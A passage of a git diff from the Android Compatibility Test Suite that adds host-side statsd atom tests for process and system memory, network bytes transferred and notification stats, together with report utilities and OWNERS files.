+        for (GaugeMetricData d : report.getMetrics(0).getGaugeMetrics().getDataList()) {
+            assertThat(d.getBucketInfoCount()).isEqualTo(1);
+            GaugeBucketInfo bucketInfo = d.getBucketInfo(0);
+            atoms.addAll(bucketInfo.getAtomList());
+            if (checkTimestampTruncated) {
+                for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
+                    assertTimestampIsTruncated(timestampNs);
+                }
+            }
+        }
+
+        CLog.d("Got the following GaugeMetric atoms:\n");
+        for (Atom atom : atoms) {
+            CLog.d("Atom:\n" + atom.toString());
+        }
+        return atoms;
+    }
+
+    /**
+     * Delete all pre-existing reports corresponding to the CTS config.
+     */
+    public static void clearReports(ITestDevice device) throws Exception {
+        getReportList(device);
+    }
+
+    /**
+     * Retrieves the ConfigMetricsReports corresponding to the CTS config from statsd.
+     * Note: Calling this functions deletes the report from statsd.
+     */
+    private static ConfigMetricsReportList getReportList(ITestDevice device) throws Exception {
+        try {
+            String cmd = String.join(" ", DUMP_REPORT_CMD, ConfigUtils.CONFIG_ID_STRING,
+                    "--include_current_bucket", "--proto");
+            ConfigMetricsReportList reportList = DeviceUtils.getShellCommandOutput(device,
+                    ConfigMetricsReportList.parser(), cmd);
+            return reportList;
+        } catch (InvalidProtocolBufferException ex) {
+            int hostUid = DeviceUtils.getHostUid(device);
+            CLog.e("Failed to fetch and parse the statsd output report. Perhaps there is not a "
+                    + "valid statsd config for the requested uid=" + hostUid + ", id="
+                    + ConfigUtils.CONFIG_ID + ".");
+            throw ex;
+        }
+    }
+
+    /**
+     * Checks that a timestamp has been truncated to a multiple of 5 min.
+     */
+    private static void assertTimestampIsTruncated(long timestampNs) {
+        long fiveMinutesInNs = NS_PER_SEC * 5 * 60;
+        assertWithMessage("Timestamp is not truncated")
+                .that(timestampNs % fiveMinutesInNs).isEqualTo(0);
+    }
+
+    private ReportUtils() {}
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/OWNERS
new file mode 100644
index 0000000..636e96e
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/OWNERS
@@ -0,0 +1,6 @@
+# These atom tests are owned by the Radiosonde team.
+dinoderek@google.com
+gaillard@google.com
+ilkos@google.com
+marcinoc@google.com
+rslawik@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessMemoryStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessMemoryStatsTests.java
new file mode 100644
index 0000000..632e280
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessMemoryStatsTests.java
@@ -0,0 +1,184 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.memory;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class ProcessMemoryStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testProcessMemoryState() throws Exception {
+        // Get ProcessMemoryState as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PROCESS_MEMORY_STATE_FIELD_NUMBER);
+
+        // Start test app.
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "StatsdCtsForegroundActivity", "action",
+                "action.show_notification")) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+            // Trigger a pull and wait for new pull before killing the process.
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        }
+
+        // Assert about ProcessMemoryState for the test app.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        boolean found = false;
+        for (AtomsProto.Atom atom : atoms) {
+            AtomsProto.ProcessMemoryState state = atom.getProcessMemoryState();
+            if (state.getUid() != uid) {
+                continue;
+            }
+            found = true;
+            assertThat(state.getProcessName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+            assertThat(state.getOomAdjScore()).isAtLeast(0);
+            assertThat(state.getPageFault()).isAtLeast(0L);
+            assertThat(state.getPageMajorFault()).isAtLeast(0L);
+            assertThat(state.getRssInBytes()).isGreaterThan(0L);
+            assertThat(state.getCacheInBytes()).isAtLeast(0L);
+            assertThat(state.getSwapInBytes()).isAtLeast(0L);
+        }
+        assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
+                .that(found).isTrue();
+    }
+
+    public void testProcessMemoryHighWaterMark() throws Exception {
+        // Get ProcessMemoryHighWaterMark as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PROCESS_MEMORY_HIGH_WATER_MARK_FIELD_NUMBER);
+
+        // Start test app and trigger a pull while it is running.
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "StatsdCtsForegroundActivity", "action",
+                "action.show_notification")) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+            // Trigger a pull and wait for new pull before killing the process.
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        }
+
+        // Assert about ProcessMemoryHighWaterMark for the test app, statsd and system server.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        boolean foundTestApp = false;
+        boolean foundStatsd = false;
+        boolean foundSystemServer = false;
+        for (AtomsProto.Atom atom : atoms) {
+            AtomsProto.ProcessMemoryHighWaterMark state = atom.getProcessMemoryHighWaterMark();
+            if (state.getUid() == uid) {
+                foundTestApp = true;
+                assertThat(state.getProcessName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
+            } else if (state.getProcessName().contains("/statsd")) {
+                foundStatsd = true;
+                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
+            } else if (state.getProcessName().equals("system")) {
+                foundSystemServer = true;
+                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
+            }
+        }
+        assertWithMessage(String.format("Did not find a matching atom for test app uid=%d", uid))
+                .that(foundTestApp).isTrue();
+        assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
+        assertWithMessage("Did not find a matching atom for system server")
+                .that(foundSystemServer).isTrue();
+    }
+
+    public void testProcessMemorySnapshot() throws Exception {
+        // Get ProcessMemorySnapshot as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PROCESS_MEMORY_SNAPSHOT_FIELD_NUMBER);
+
+        // Start test app and trigger a pull while it is running.
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "StatsdCtsForegroundActivity", "action",
+                "action.show_notification")) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        }
+
+        // Assert about ProcessMemorySnapshot for the test app, statsd and system server.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        boolean foundTestApp = false;
+        boolean foundStatsd = false;
+        boolean foundSystemServer = false;
+        for (AtomsProto.Atom atom : atoms) {
+            AtomsProto.ProcessMemorySnapshot snapshot = atom.getProcessMemorySnapshot();
+            if (snapshot.getUid() == uid) {
+                foundTestApp = true;
+                assertThat(snapshot.getProcessName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+            } else if (snapshot.getProcessName().contains("/statsd")) {
+                foundStatsd = true;
+            } else if (snapshot.getProcessName().equals("system")) {
+                foundSystemServer = true;
+            }
+
+            assertThat(snapshot.getPid()).isGreaterThan(0);
+            assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isAtLeast(0);
+            assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isEqualTo(
+                    snapshot.getAnonRssInKilobytes() + snapshot.getSwapInKilobytes());
+            assertThat(snapshot.getRssInKilobytes()).isAtLeast(0);
+            assertThat(snapshot.getAnonRssInKilobytes()).isAtLeast(0);
+            assertThat(snapshot.getSwapInKilobytes()).isAtLeast(0);
+        }
+        assertWithMessage(String.format("Did not find a matching atom for test app uid=%d", uid))
+                .that(foundTestApp).isTrue();
+        assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
+        assertWithMessage("Did not find a matching atom for system server")
+                .that(foundSystemServer).isTrue();
+    }
+
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/SystemMemoryStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/SystemMemoryStatsTests.java
new file mode 100644
index 0000000..2bffcc1
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/SystemMemoryStatsTests.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.memory;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class SystemMemoryStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testSystemMemoryAtom() throws Exception {
+        List<AtomsProto.Atom> atoms = pullSystemMemoryAsGaugeMetric();
+        assertThat(atoms).hasSize(1);
+        AtomsProto.SystemMemory systemMemory = atoms.get(0).getSystemMemory();
+        assertThat(systemMemory.getUnreclaimableSlabKb()).isAtLeast(0);
+        assertThat(systemMemory.getVmallocUsedKb()).isAtLeast(0);
+        assertThat(systemMemory.getPageTablesKb()).isAtLeast(0);
+        assertThat(systemMemory.getKernelStackKb()).isAtLeast(0);
+    }
+
+    /** Returns SystemMemory atoms pulled as a simple gauge metric while test app is running. */
+    private List<AtomsProto.Atom> pullSystemMemoryAsGaugeMetric() throws Exception {
+        // Get SystemMemory as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.SYSTEM_MEMORY_FIELD_NUMBER);
+
+        // Start test app and trigger a pull while it is running.
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "StatsdCtsForegroundActivity", "action",
+                "action.show_notification")) {
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        }
+
+        return ReportUtils.getGaugeMetricAtoms(getDevice());
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
new file mode 100644
index 0000000..3bd8a77
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
@@ -0,0 +1,335 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.net;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import android.telephony.NetworkTypeEnum;
+
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.Atom;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class BytesTransferredTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+    private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+    private static final String FEATURE_WIFI = "android.hardware.wifi";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        // Put a delay to give statsd enough time to remove previous configs and
+        // reports, as well as install the test app.
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installTestApp(getDevice(), DeviceUtils.STATSD_ATOM_TEST_APK,
+                DeviceUtils.STATSD_ATOM_TEST_PKG, mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallTestApp(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG);
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    // TODO: inline the contents of doTestUsageBytesTransferEnable
+    public void testDataUsageBytesTransfer() throws Throwable {
+        final boolean oldSubtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
+
+        doTestDataUsageBytesTransferEnabled(true);
+
+        // Remove old configs from disk and clear any pending statsd reports to clear history.
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+
+        doTestDataUsageBytesTransferEnabled(false);
+
+        // Restore to original default value.
+        setNetworkStatsCombinedSubTypeEnabled(oldSubtypeCombined);
+    }
+
+    public void testMobileBytesTransfer() throws Throwable {
+        // Tests MobileBytesTransfer, passing a ThrowingPredicate that returns TransferredBytes,
+        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/true,
+                (atom) -> {
+                    final AtomsProto.MobileBytesTransfer data = atom.getMobileBytesTransfer();
+                    return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                            data.getRxPackets(), data.getTxPackets(), data.getUid());
+                }
+        );
+    }
+
+    public void testMobileBytesTransferByFgBg() throws Throwable {
+
+        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER,
+                /*isUidAtom=*/true,
+                (atom) -> {
+                    final AtomsProto.MobileBytesTransferByFgBg data =
+                            atom.getMobileBytesTransferByFgBg();
+                    if (!data.getIsForeground()) {
+                        return null;
+                    }
+                    return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                            data.getRxPackets(), data.getTxPackets(), data.getUid());
+                }
+        );
+    }
+
+    // TODO(b/157651730): Determine how to test tag and metered state within atom.
+    public void testBytesTransferByTagAndMetered() throws Throwable {
+        doTestMobileBytesTransferThat(Atom.BYTES_TRANSFER_BY_TAG_AND_METERED_FIELD_NUMBER,
+                /*isUidAtom=*/true,
+                (atom) -> {
+                    final AtomsProto.BytesTransferByTagAndMetered data =
+                            atom.getBytesTransferByTagAndMetered();
+                    if (data.getTag() != 0 /*app traffic not generated on tag 0*/) {
+                        return null;
+                    }
+                    return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                            data.getRxPackets(), data.getTxPackets(), data.getUid());
+                }
+        );
+    }
+
+    public void testOemManagedBytesTransfer() throws Throwable {
+        doTestOemManagedBytesTransferThat(Atom.OEM_MANAGED_BYTES_TRANSFER_FIELD_NUMBER, true,
+                (atom) -> {
+                    final AtomsProto.OemManagedBytesTransfer data =
+                            atom.getOemManagedBytesTransfer();
+                    return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                            data.getRxPackets(), data.getTxPackets(), data.getUid(),
+                            data.getOemManagedType(), data.getTransportType());
+                }
+        );
+    }
+
+    private static class TransferredBytes {
+        final long mRxBytes;
+        final long mTxBytes;
+        final long mRxPackets;
+        final long mTxPackets;
+        final long mAppUid;
+        final long mOemManagedType;
+        final long mTransportType;
+
+        public TransferredBytes(
+                long rxBytes, long txBytes, long rxPackets, long txPackets, long appUid) {
+            this(rxBytes, txBytes, rxPackets, txPackets, appUid, /*oemManagedType=*/-1,
+                    /*transportType=*/-1);
+        }
+
+        public TransferredBytes(
+                long rxBytes, long txBytes, long rxPackets, long txPackets, long appUid,
+                long oemManagedType, long transportType) {
+            mRxBytes = rxBytes;
+            mTxBytes = txBytes;
+            mRxPackets = rxPackets;
+            mTxPackets = txPackets;
+            mAppUid = appUid;
+            mOemManagedType = oemManagedType;
+            mTransportType = transportType;
+        }
+    }
+
+    @FunctionalInterface
+    private interface ThrowingPredicate<S, T extends Throwable> {
+        TransferredBytes accept(S s) throws T;
+    }
+
+    private void doTestDataUsageBytesTransferEnabled(boolean enable) throws Throwable {
+        // Set value to enable/disable combine subtype.
+        setNetworkStatsCombinedSubTypeEnabled(enable);
+
+        doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/
+                false, (atom) -> {
+                    final AtomsProto.DataUsageBytesTransfer data =
+                            atom.getDataUsageBytesTransfer();
+                    final boolean ratTypeEqualsToUnknown =
+                            (data.getRatType() == NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+                    final boolean ratTypeGreaterThanUnknown =
+                            (data.getRatType() > NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+
+                    if ((data.getState() == 1) // NetworkStats.SET_FOREGROUND
+                            && ((enable && ratTypeEqualsToUnknown)
+                            || (!enable && ratTypeGreaterThanUnknown))) {
+                        // Assert that subscription info is valid.
+                        assertSubscriptionInfo(data);
+                        // DataUsageBytesTransferred atom does not report app uid.
+                        return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                                data.getRxPackets(), data.getTxPackets(), /*appUid=*/-1);
+                    }
+                    return null;
+                });
+    }
+
+    private void doTestMobileBytesTransferThat(int atomId, boolean isUidAtom,
+            ThrowingPredicate<Atom, Exception> p)
+            throws Throwable {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) return;
+        // Upload the config.
+        final StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+                DeviceUtils.STATSD_ATOM_TEST_PKG);
+        if (isUidAtom) {
+            ConfigUtils.addGaugeMetricForUidAtom(config, atomId, /*uidInAttributionChain=*/false,
+                    DeviceUtils.STATSD_ATOM_TEST_PKG);
+        } else {
+            ConfigUtils.addGaugeMetric(config, atomId);
+        }
+        ConfigUtils.uploadConfig(getDevice(), config);
+        // Generate some mobile traffic.
+        DeviceUtils.runDeviceTests(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG, ".AtomTests",
+                "testGenerateMobileTraffic");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Force poll NetworkStatsService to get most updated network stats from lower layer.
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "PollNetworkStatsActivity",
+                /*actionKey=*/null, /*actionValue=*/null);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull.
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        final List<Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice(),
+                /*checkTimestampTruncated=*/true);
+        assertThat(atoms.size()).isAtLeast(1);
+        boolean foundAppStats = false;
+        for (final Atom atom : atoms) {
+            TransferredBytes transferredBytes = p.accept(atom);
+            if (transferredBytes != null) {
+                foundAppStats = true;
+                // Checks that the uid in the atom corresponds to the app uid and checks that the
+                // bytes and packet data are as expected.
+                if (isUidAtom) {
+                    final int appUid = DeviceUtils.getAppUid(getDevice(),
+                            DeviceUtils.STATSD_ATOM_TEST_PKG);
+                    assertThat(transferredBytes.mAppUid).isEqualTo(appUid);
+                }
+                assertDataUsageAtomDataExpected(
+                        transferredBytes.mRxBytes, transferredBytes.mTxBytes,
+                        transferredBytes.mRxPackets, transferredBytes.mTxPackets);
+            }
+        }
+        assertWithMessage("Data for uid " + DeviceUtils.getAppUid(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG)
+                + " is not found in " + atoms.size() + " atoms.").that(foundAppStats).isTrue();
+    }
+
+    private void doTestOemManagedBytesTransferThat(int atomId, boolean isUidAtom,
+            ThrowingPredicate<Atom, Exception> p)
+            throws Throwable {
+        /* PANS is for automotive platforms only, and this test relies on WiFi to simulate OEM
+         * managed networks. */
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)
+                || !DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+
+        // Upload the config.
+        final StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+                DeviceUtils.STATSD_ATOM_TEST_PKG);
+        if (isUidAtom) {
+            ConfigUtils.addGaugeMetricForUidAtom(config, atomId, /*uidInAttributionChain=*/false,
+                    DeviceUtils.STATSD_ATOM_TEST_PKG);
+        } else {
+            ConfigUtils.addGaugeMetric(config, atomId);
+        }
+        ConfigUtils.uploadConfig(getDevice(), config);
+        // Generate some mobile traffic.
+        DeviceUtils.runDeviceTests(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG, ".AtomTests",
+                "testGenerateOemManagedTraffic");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Force poll NetworkStatsService to get most updated network stats from lower layer.
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "PollNetworkStatsActivity",
+                /*actionKey=*/null, /*actionValue=*/null);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull.
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        final List<Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice(),
+                /*checkTimestampTruncated=*/false);
+
+        assertThat(atoms.size()).isAtLeast(2);
+        boolean foundAppStats = false;
+        for (final Atom atom : atoms) {
+            TransferredBytes transferredBytes = p.accept(atom);
+            if (transferredBytes != null) {
+                foundAppStats = true;
+                // Checks that the uid in the atom corresponds to the app uid and checks that the
+                // bytes and packet data are as expected.
+                if (isUidAtom) {
+                    final int appUid = DeviceUtils.getAppUid(getDevice(),
+                            DeviceUtils.STATSD_ATOM_TEST_PKG);
+                    assertThat(transferredBytes.mAppUid).isEqualTo(appUid);
+                }
+                assertDataUsageAtomDataExpected(
+                        transferredBytes.mRxBytes, transferredBytes.mTxBytes,
+                        transferredBytes.mRxPackets, transferredBytes.mTxPackets);
+
+                // Make sure we have a value for the OEM managed type.
+                assertThat(transferredBytes.mOemManagedType).isGreaterThan(0);
+                // Make sure there's a NetworkTemplate#MATCH_* value for transport_type.
+                assertThat(transferredBytes.mTransportType).isGreaterThan(0);
+            }
+        }
+        assertWithMessage("Data for uid " + DeviceUtils.getAppUid(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG)
+                + " is not found in " + atoms.size() + " atoms.").that(foundAppStats).isTrue();
+    }
+
+    private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
+        assertThat(rxb).isGreaterThan(0L);
+        assertThat(txb).isGreaterThan(0L);
+        assertThat(rxp).isGreaterThan(0L);
+        assertThat(txp).isGreaterThan(0L);
+    }
+
+    private void assertSubscriptionInfo(AtomsProto.DataUsageBytesTransfer data) {
+        assertThat(data.getSimMcc()).matches("^\\d{3}$");
+        assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
+        assertThat(data.getCarrierId()).isNotEqualTo(-1); // TelephonyManager#UNKNOWN_CARRIER_ID
+    }
+
+    private boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
+        final String output = getDevice().executeShellCommand(
+                "settings get global netstats_combine_subtype_enabled").trim();
+        return output.equals("1");
+    }
+
+    private void setNetworkStatsCombinedSubTypeEnabled(boolean enable) throws Exception {
+        getDevice().executeShellCommand("settings put global netstats_combine_subtype_enabled "
+                + (enable ? "1" : "0"));
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
new file mode 100644
index 0000000..913ef27
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/OWNERS
@@ -0,0 +1,13 @@
+# These atom tests are co-owned by statsd and network team
+chrisweir@google.com
+jchalard@google.com
+jeffreyhuang@google.com
+jtnguyen@google.com
+junyulai@google.com
+lorenzo@google.com
+muhammadq@google.com
+ruchirr@google.com
+singhtejinder@google.com
+sudheersai@google.com
+tsaichristine@google.com
+yro@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/NotificationStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/NotificationStatsTests.java
new file mode 100644
index 0000000..d08eae9
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/notification/NotificationStatsTests.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.notification;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
